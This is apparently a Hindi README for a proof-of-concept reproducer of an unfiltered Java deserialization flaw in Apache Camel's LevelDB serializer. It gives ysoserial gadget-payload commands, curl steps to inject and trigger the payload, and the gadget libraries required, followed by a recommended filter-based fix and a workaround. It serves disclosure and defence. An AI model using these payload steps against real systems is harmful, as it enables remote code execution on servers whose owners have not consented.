
CVE-2026-25747 - Camel LevelDB डिसीरियलाइज़ेशन भेद्यता
| Property | Value |
|---|
| घटक | camel-leveldb |
| प्रभावित क्लास | DefaultLevelDBSerializer.java |
| भेद्य विधियाँ | deserializeKey(), deserializeExchange() |
| CWE | CWE-502: अविश्वसनीय डेटा का डिसीरियलाइज़ेशन |
| प्रभाव | रिमोट कोड निष्पादन (RCE) |
| प्रभावित संस्करण | सभी संस्करण जिनमें 4.17.0 शामिल है (परीक्षण के समय अनफिक्स्ड) |
DefaultLevelDBSerializer क्लास बिना किसी फ़िल्टरिंग के रॉ ObjectInputStream का उपयोग करती है:
// DefaultLevelDBSerializer.java lines 42-47
public String deserializeKey(byte[] buffer) throws IOException {
try (final ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(buffer))) {
return (String) ois.readObject(); // NO FILTERING!
}
}
// Lines 63-71
public Exchange deserializeExchange(CamelContext camelContext, byte[] buffer) throws IOException {
return deserializeExchange(camelContext, buffer, b -> {
try (final ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(buffer))) {
return (DefaultExchangeHolder) ois.readObject(); // NO FILTERING!
}
});
}
इसकी तुलना फिक्स्ड Cassandra इम्प्लीमेंटेशन से करें (Camel 4.4.0 से):
// CassandraCamelCodec.java - PROTECTED
private Object deserialize(CamelContext camelContext, InputStream bytes, String deserializationFilter) {
ObjectInputStream objectIn = new ClassLoadingAwareObjectInputStream(classLoader, bytes);
objectIn.setObjectInputFilter(ObjectInputFilter.Config.createFilter(deserializationFilter));
// Filter: "java.**;org.apache.camel.**;!*" - blocks gadget classes
return objectIn.readObject();
}
cd potential-leveldb
mvn clean package -DskipTests
mvn spring-boot:run
# First, initialize the LevelDB database (creates directory and adds a test entry)
curl http://localhost:8080/exploit/init
अपेक्षित आउटपुट:
LevelDB initialized successfully!
Database path: /tmp/leveldb-exploit/aggregation.db
Repository name: myrepo
Added test exchange with key: test-key
Now you can inject a malicious payload with POST /exploit/inject
ysoserial डाउनलोड करें और पेलोड जनरेट करें:
# Download ysoserial
wget https://github.com/frohoff/ysoserial/releases/download/v0.0.6/ysoserial-all.jar
# Generate payload that executes a command (e.g., open calculator, touch file, etc.)
# For Linux:
java -jar ysoserial-all.jar CommonsCollections7 "touch /tmp/pwned" | xxd -p | tr -d '\n' > payload.txt
# For macOS:
java -jar ysoserial-all.jar CommonsCollections7 "open -a Calculator" | xxd -p | tr -d '\n' > payload.txt
# For Windows:
java -jar ysoserial-all.jar CommonsCollections7 "calc.exe" | xxd -p | tr -d '\n' > payload.txt
# Inject the malicious serialized object into LevelDB
curl -X POST http://localhost:8080/exploit/inject \
-H "Content-Type: text/plain" \
-d @payload.txt
अपेक्षित आउटपुट:
Malicious payload injected into LevelDB!
Payload size: XXXX bytes
Key: myrepo^@malicious-key
The payload will be deserialized when:
1. The application restarts and recovers aggregations
2. A get() operation is performed on this key
3. The scan/recover mechanism runs
# Trigger the vulnerability by reading from LevelDB
curl http://localhost:8080/exploit/trigger
यह सभी कुंजियों पर पुनरावृत्ति करेगा और repo.get() को कॉल करेगा जो डिसीरियलाइज़ेशन को ट्रिगर करता है!
# Check if the command was executed
ls -la /tmp/pwned
यदि फ़ाइल /tmp/pwned मौजूद है, तो शोषण सफल रहा!
भेद्यता कई मार्गों से ट्रिगर की जा सकती है:
get() कॉल डिसीरियलाइज़ेशन को ट्रिगर करता हैसफल शोषण के लिए:
LevelDB तक लेखन पहुंच: हमलावर के पास LevelDB डेटाबेस फ़ाइल में लिखने की क्षमता होनी चाहिए
क्लासपाथ पर गैजेट लाइब्रेरी: शोषण योग्य गैजेट चेन वाली लाइब्रेरी मौजूद होनी चाहिए
commons-collections:3.2.1 (CommonsCollections1-7 गैजेट्स)org.springframework:spring-core (Spring गैजेट्स)| पहलू | Cassandra (CVE-2024-23114) | LevelDB (यह मुद्दा) |
|---|---|---|
| स्थिति | 4.4.0 में फिक्स्ड | 4.17.0 में अनफिक्स्ड |
| ObjectInputStream | ClassLoadingAwareObjectInputStream का उपयोग करता है | रॉ ObjectInputStream का उपयोग करता है |
| डिसीरियलाइज़ेशन फ़िल्टर | "java.**;org.apache.camel.**;!*" | कोई नहीं |
| JIRA | CAMEL-20306 | अभी तक दर्ज नहीं किया गया |
Cassandra के समान समाधान लागू करें:
ObjectInputStream के बजाय ClassLoadingAwareObjectInputStream का उपयोग करेंObjectInputFilter जोड़ें"java.**;org.apache.camel.**;!*"DefaultLevelDBSerializer.java के लिए उदाहरण समाधान:
private String deserializationFilter = "java.**;org.apache.camel.**;!*";
public Exchange deserializeExchange(CamelContext camelContext, byte[] buffer) throws IOException {
ClassLoader classLoader = camelContext.getApplicationContextClassLoader();
try (ObjectInputStream ois = new ClassLoadingAwareObjectInputStream(classLoader,
new ByteArrayInputStream(buffer))) {
ois.setObjectInputFilter(ObjectInputFilter.Config.createFilter(deserializationFilter));
DefaultExchangeHolder holder = (DefaultExchangeHolder) ois.readObject();
// ... rest of deserialization
}
}
जब तक कोई फिक्स जारी नहीं होता:
DefaultLevelDBSerializer के बजाय JacksonLevelDBSerializer कॉन्फ़िगर करेंpotential-leveldb/
├── pom.xml # Maven configuration with vulnerable deps
├── README.md # This file
└── src/main/java/com/example/
├── Application.java # Spring Boot entry point
├── LevelDBRoute.java # Camel route using LevelDB aggregation
├── StringAggregationStrategy.java
└── ExploitController.java # REST endpoints for exploitation
यह रीप्रोड्यूसर केवल सुरक्षा अनुसंधान और अधिकृत परीक्षण के लिए प्रदान किया गया है। स्पष्ट अनुमति के बिना सिस्टम के विरुद्ध उपयोग न करें।